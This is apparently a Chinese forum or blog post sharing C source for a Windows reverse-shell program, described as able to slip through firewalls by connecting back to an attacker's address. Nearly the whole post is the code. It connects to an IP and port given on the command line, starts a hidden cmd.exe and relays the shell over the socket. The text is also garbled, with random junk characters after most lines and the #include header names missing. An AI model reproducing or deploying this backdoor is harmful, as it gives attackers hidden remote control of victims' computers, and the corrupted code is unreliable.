Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 B}lvr-c#  
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/* ============================== ~_/(t'9  
Rebound port in Windows NT "*In+!K  
By wind,2006/7 7pe\M/kl  
===============================*/ uScMn/%  
#include /;oX)]W  
#include "N`[r iq{  
kqFP)!37  
#pragma comment(lib,"wsock32.lib") '<"s \,  
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void OutputShell(); %J+E/  
SOCKET sClient; KrQ1GepJ  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n";  #1OOU  
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void main(int argc,char **argv) <g$~1fa  
{ U|jSa,}  
WSADATA stWsaData; 4 o Fel.o  
int nRet; h&KO<
>  
SOCKADDR_IN stSaiClient,stSaiServer; j0oR)du  
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if(argc != 3) sB7# ~pA  
{ Zy`m!]G]80  
printf("Useage:\n\rRebound DestIP DestPort\n"); h1de[q
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return; 16=sij%A  
} Sc;BCl{=|  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 8Vr%n2M  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); JRB9rSN^  
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stSaiClient.sin_family = AF_INET; oKuI0-*mR  
stSaiClient.sin_port = htons(0); "&Y`+0S8  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); k>;`FFQU>  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) G?O1>?4C  
{ nT7%j{e=L  
printf("Bind Socket Failed!\n"); r>>%2Z-P  
return; T&6l$1J  
} |fK1/<sz#  
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stSaiServer.sin_family = AF_INET; GS$ifv  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); h9}+l  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); q'T4w!V(V  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) &u$Q4  
{ 'DP1
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printf("Connect Error!"); 75T%g!c#  
return; J,'M4O\S  
} em%4Ap  
OutputShell(); n]._uza  
} Cio 1E-4  
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void OutputShell() }T(D7|^R  
{ ~~D{spMVO  
char szBuff[1024]; =W(Q34  
SECURITY_ATTRIBUTES stSecurityAttributes; - YEZ]:"  
OSVERSIONINFO stOsversionInfo; ,0M_Bk"  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; WlOmJtt4)  
STARTUPINFO stStartupInfo; X
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char *szShell; )1?y 8_B  
PROCESS_INFORMATION stProcessInformation; ejS
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unsigned long lBytesRead; X8Bd3-B  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); l!D}3jD  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); b6,iZ+]  
stSecurityAttributes.lpSecurityDescriptor = 0; E>6MeO  
stSecurityAttributes.bInheritHandle = TRUE; 5AFJC?  
{&&z-^  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 7r6.n61F  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); j*|VctM  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); =*oJEy"  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R)c?`:iUB  
stStartupInfo.wShowWindow = SW_HIDE; ]%;:7?5l  
stStartupInfo.hStdInput = hReadPipe; )v'WWwXY>  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ahusta  
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GetVersionEx(&stOsversionInfo); A7%)~z<  
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switch(stOsversionInfo.dwPlatformId) =
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{ |Tv#4st  
case 1: Sj3+l7S?  
szShell = "command.com"; z0d.J1VW  
break; akmkyrz'&  
default: D(~U6SR  
szShell = "cmd.exe"; em
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break; ))qy;Q,  
} Lc}y<=P@  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); (^ J
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send(sClient,szMsg,77,0); atj(eg  
while(1) 9=s<Ld  
{ R|'ybW'Y  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0);
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if(lBytesRead) T~-ycVc  
{ t$`r4Lb9/  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 49eD1h3'X[  
send(sClient,szBuff,lBytesRead,0);  \__i  
} W<'m:dq  
else zOJ%}  
{ \P[Y`LYL  
lBytesRead=recv(sClient,szBuff,1024,0); ."g`3tVK  
if(lBytesRead<=0) break; }H53~@WP>  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 82+r^t/.  
} )Om*@;r(  
} hWjc<9  
T9=I$@/  
return; YqscZ(L:y  
}